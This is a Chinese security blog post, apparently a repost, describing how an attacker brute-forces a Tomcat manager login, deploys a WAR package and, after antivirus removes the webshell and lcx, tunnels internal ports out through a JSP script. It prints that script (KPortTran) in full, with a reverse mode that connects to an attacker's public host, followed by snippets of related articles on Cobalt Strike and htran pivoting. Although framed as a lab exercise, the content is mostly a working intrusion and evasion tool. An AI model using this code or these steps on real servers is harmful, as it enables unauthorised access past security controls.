通过JSP端口转发拿下服务器权限

VSole2022-07-18 08:05:33

记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行端口转发)。

0x01 环境简要

目标主机:Widnows

目标防护软件:Antimalware

目标环境:JSP,Tomcat,Apache

本地主机:Windows、Kali

所需工具:Aapache爆破工具,Lcx,JSP代码,公网IP主机一个

所遇见问题:lcx被杀,webshell被杀

0x02 进攻说明

一、爆破登录口令

爆破Tomcat Web Application Manager,这里不做深入说明,大家都懂的

二、上传webshell

由于服务器上防护软件问题,上传的webshell被杀,lcx工具被杀,这里采取以jsp转发端口的形式来绕过

三、准备jsp页面的war包

使用kali把准备好的jsp页面打包,进入jsp页面目录下执行以下命令打包

jar -cvf aces.war

四、通过已有webshell创建用户名密码

五、通过后台部署war包

六、设置lcx监听本地端口并转发

使用lcx监听本地55并转发到3399端口上

七、访问jsp文件,并设置相关转发参数

参数说明:lip=127.0.0.1lp=需要转发的本地端口rip=公网监听IPrp=公网IP监听的端口号m=转发的模式

0x03 验证

成功登录,自此本次实验结束

0x04 JSP源码

<%@page pageEncoding="GBK"%><%@page import="java.io.*"%><%@page import="java.util.*"%><%@page import="java.nio.charset.*"%><%@page import="javax.servlet.http.HttpServletRequestWrapper"%><%@page import="java.net.*"%><%/*code by KingX*/class KPortTran {  public void listen(String port1, String port2) {    ServerSocket listenServerSocket = null;    ServerSocket outServerSocket = null;    try {      listenServerSocket = new ServerSocket(Integer.parseInt(port1));      outServerSocket = new ServerSocket(Integer.parseInt(port2));    } catch (NumberFormatException e) {
    } catch (IOException e) {    }    Socket listenSocket = null;    Socket outSocket = null;    try {      while (true) {          listenSocket = listenServerSocket.accept();        outSocket = outServerSocket.accept();        new tranThread(outSocket, listenSocket).start();        new tranThread(listenSocket, outSocket).start();        Thread.sleep(200);      }    } catch (Exception e) {      }  }
  public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {    InetAddress src = InetAddress.getByName(srcIP);    InetAddress dest = InetAddress.getByName(targetIP);    int p1 = Integer.parseInt(port1);    int p2 = Integer.parseInt(port2);    new Server(src, p2, dest, p1, true);  }
  public void tran(String srcIP, String port1, String targetIP, String port2)      throws NumberFormatException, IOException {    InetAddress src = InetAddress.getByName(srcIP);    InetAddress dest = InetAddress.getByName(targetIP);    int p1 = Integer.parseInt(port1);    int p2 = Integer.parseInt(port2);    new Server(src, p1, dest, p2, false);  }class tranThread extends Thread {  Socket in;  Socket out;  InputStream is;  OutputStream os;  public tranThread(Socket in, Socket out) throws IOException {    this.is = in.getInputStream();    this.os = out.getOutputStream();    this.in = in;    this.out = out;  }
  private void closeSocket() {    try {      is.close();      os.close();      in.close();      out.close();    } catch (IOException e) {    }  }  @Override  public void run() {    super.run();    byte[] buffer = new byte[4096];    int len = -1;    try {      while (true) {        if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {          break;        } else {          os.write(buffer, 0, len);          os.flush();          }      }    } catch (IOException e) {      closeSocket();    } finally {      closeSocket();    }  }}
class Server extends Thread {  InetAddress src;  InetAddress dest;  int p1, p2;  boolean reverse = false;
  public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,      int targetPort, boolean flag) {    this.src = srcIP;    this.dest = targetIP;    this.p1 = srcPort;    this.p2 = targetPort;    this.reverse = flag;    start();  }
  @Override  public void run() {    super.run();    if (reverse) {      try {        Socket s = new Socket(src, p1);        Socket s2 = new Socket(dest, p2);        new tranThread(s, s2).start();        new tranThread(s2, s).start();
        while (true) {          if (s2.isClosed() || s.isClosed()) {            if (s2.isClosed()) {              s2 = new Socket(dest, p2);            }            if (s.isClosed()) {              s = new Socket(src, p1);            }            new tranThread(s, s2).start();            new tranThread(s2, s).start();          }          Thread.sleep(1000);        }      } catch (IOException e) {      } catch (InterruptedException e) {      }
    } else {      ServerSocket ss;      try {        ss = new ServerSocket(p1, 5, src);
        while (true) {          Socket s = ss.accept();          Socket s2 = new Socket(dest, p2);          new tranThread(s, s2).start();          new tranThread(s2, s).start();        }      } catch (IOException e) {        e.printStackTrace();      }    }  }}}%><%final String localIP = request.getParameter("lip");final String localPort = request.getParameter("lp");final String localPort2 = request.getParameter("lp2");final String remoteIP =request.getParameter("rip");final String remotePort =request.getParameter("rp");final String mode =request.getParameter("m");
KPortTran pt = new KPortTran();if (mode.equals("tran")) {  pt.tran(localIP, localPort, remoteIP , remotePort);}if (mode.equals("slave")) {  pt.slave(localIP, localPort, remoteIP , remotePort);}if (mode.equals("listen")) {  pt.listen(localPort, localPort2);}
%>
端口转发socket
本作品采用《CC 协议》,转载必须注明作者和本文链接
脚本运行机制在使用该脚本的过程中,用户仅需要加载MoveKit.cna脚本即可,它将加载所有其他的所需脚本。除此之外,用户可能还需要对代码进行编译,并存放至Assemblies目录中,具体取决于SharpMove和SharpRDP程序集所要采取的行为。首先,用户需要选择一个在远程系统上执行的命令,命令将通过WMI、DCOM、计划任务、RDP或SCM执行。然后,使用File方法将文件存储至目标系统并执行它。在使用信标命令时,它将读取默认配置,并使用几个命令行参数。
对于很多大佬来说肯定是十分熟悉的,弟弟我只能简单的介绍下其简介: cs拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发socket代理,office攻击,文件捆绑,钓鱼等功能。同时,cs还可以调用Mimikatz等其他知名工具。0x03 实践说的再多也不如拿真实情况来说话,实践主要对上述的六种工具做下简单的使用,并利用线上沙箱进行简单的查杀检测。接下来主要以3.12为主。
本实验环境靶场以发出,从外到内,给你服务器干翻!
记得他当时是在本地模拟的一个实战场景来做的这个测试实验(绕过安全防护进行端口转发)。
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
内网渗透合集(二)
2023-01-28 09:35:05
接下来在内网肉鸡再次执行:htran -p -slave 公网肉鸡IP 119 127.0.0.1 8009?linux也有实现,感觉使用方法更加明朗,且与windows下的兼容 在此推荐下。把windows的小做修改下,重新编译了下,源程序比较简单就不上传工程文件了,直接给个C文件,自己编译下即可。linux下实现大同小异,只不过用的fork实现子线程。此时在渗透测试端192.168.10.50可看到通道连接成功,效果如图4。
#Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。#Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。
一. 应用层隧道技术1. ssh隧道建立双向安全隧道将其他TCP端口的通信通过SSH连接转发用SSH作为传输层协议,对流量自动加解密突破防火墙访问规则的限制SSH本地端口转发本机侦听端口
Cobalt strike(下面简称 CS)# 众所周知,CS是一个以MSF为基础的GUI框架式“多人运动”渗透测试工具,集成了端口转发、服务扫描、自动化溢出,多模式端口监听,exe、powershell木马生成等.# 钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。# Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共
VSole
网络安全专家